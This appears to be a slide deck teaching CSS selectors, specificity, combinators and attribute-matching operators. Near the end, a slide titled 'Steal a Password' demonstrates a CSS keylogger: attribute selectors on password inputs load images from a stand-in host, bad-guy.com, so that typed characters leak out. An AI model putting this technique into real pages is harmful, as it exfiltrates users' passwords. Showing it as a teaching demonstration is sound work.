Little Known
CSS Basics Selectors

Selectors The Bubble Wrap You Need to Ship CSS Safely

What Are CSS Selectors?

Universal

* {
  /*
   * selects any element
   */
}

Tag

p {
  /*
   * selects all paragraph tags
   */
}
a {
  /*
   * selects all anchor tags
   */
}

Class

.menu {
  /*
   * selects any element with the class `menu`
   */
}

ID

#footer {
  /*
   * selects the element with the id `footer`
   */
}

Attribute

[type="email"] {
  /*
   * selects any element with the
   * `type` attribute `email`
   */
}
[alt] {
  /*
   * selects any element with an
   * `alt` attribute
   */
}

Pseudo-elements

.clearfix::after {
  /*
   * selects the pseudo-element at the end
   * of `.clearfix`
   */
}
::placeholder {
  /*
   * selects the placeholder in an input
   */
}

Pseudo-classes

input:focus {
  /*
   * selects inputs when they have focus
   */
}
a:hover {
  /*
   * selects anchors when they're hovered
   */
}

Why Do Some Selectors Override Others?

Specificity!

Specificity: TL;DR

  • *
  • HTML tags, pseudo-elements
  • .class, [attribute], pseudo-classes
  • #id

But also…

.compound.selectors

.complex .selectors

Calculating Specificity

Inline ID Class
Attribute
Ps-Class
Tag
Ps-Element
1 1 1 1

Calculating Specificity

  • *: 0,0,0,0
  • Tag: 0,0,0,1
  • Class: 0,0,1,0
  • ID: 0,1,0,0
  • Inline: 1,0,0,0

Blow It All Away

!important

Only if you really know what you're doing…

How Can I Combine Selectors?

Compound

Finds a single element that matches all conditions of the selector

a.link:hover

Specificity: 0,0,2,1

Descendant

Finds any matching element in the parent, no matter how deeply nested

.post-body ul

Specificity: 0,0,1,1

Child: >

Finds any matching element nested one level deep inside the parent

#mobile-nav > a

Specificity: 0,1,0,1

Adjacent Sibling: +

Finds a matching sibling element immediately after the first element

.site-header + main

Specificity: 0,0,1,1

General Sibling: ~

Finds any matching sibling after the first element

h1 ~ p

Specificity: 0,0,0,2

Can I Use a Selector to Get Specific ELements in a Group?

For sure!

  • :first-child
  • :nth-child(2)
  • :last-child
  • :nth-last-child(odd)

For sure!

  • :first-of-type
  • :nth-of-type(4n)
  • :last-of-type
  • :nth-last-of-type(-n+3)

Use Cases

Margins inside Padded Containers

Style Table Columns & Rows

Style a Drop Cap in an Article's First Paragraph

Are There Selectors for Styling Different Interactive States?

You betcha!

  • :hover
  • :active
  • :focus
  • :link
  • :visited

You betcha!

  • :target
  • :checked
  • :disabled
  • :invalid
  • :valid

Use Cases

Custom Focus Style for Keyboard Nav

Highlight Targeted Element

HTML5 Form Validation

Can I Use a regex selector to find things?

Kind of.

  • Strict match: [attr="string"]
  • Begins with: [attr^="string"]
  • Ends with: [attr$="string"]
  • Contains anywhere: [attr*="string"]

Kind of.

  • Contains in a space-separated list: [attr~="string"]
  • Contains value or value followed by -: [attr|="string"]
  • Case insensitive match: [attr*="String" i]

Use Cases

Download Icons for File Types

Debug Inaccessible Images

Style Internal/External Links Differently

Ok, Impress Me! How Complicated Can Selectors Really Get?

Find the Number of Elements in a Container

.nav-item:first-child:nth-last-child(4) {
  &,
  & ~ * {
    /*
     * Styles for when there are
     * 4 nav-items
     */
  }
}

Codepen

Steal a Password

[type="password"][value$="a"] {
  background-image:
    url("https://bad-guy.com/password/a");
}

[type="password"][value$="b"] {
  background-image:
    url("https://bad-guy.com/password/b");
}

James Steinbach

UX Developer at DockYard

jdsteinbach

Twitter | Github | Blog

jds.li/selectors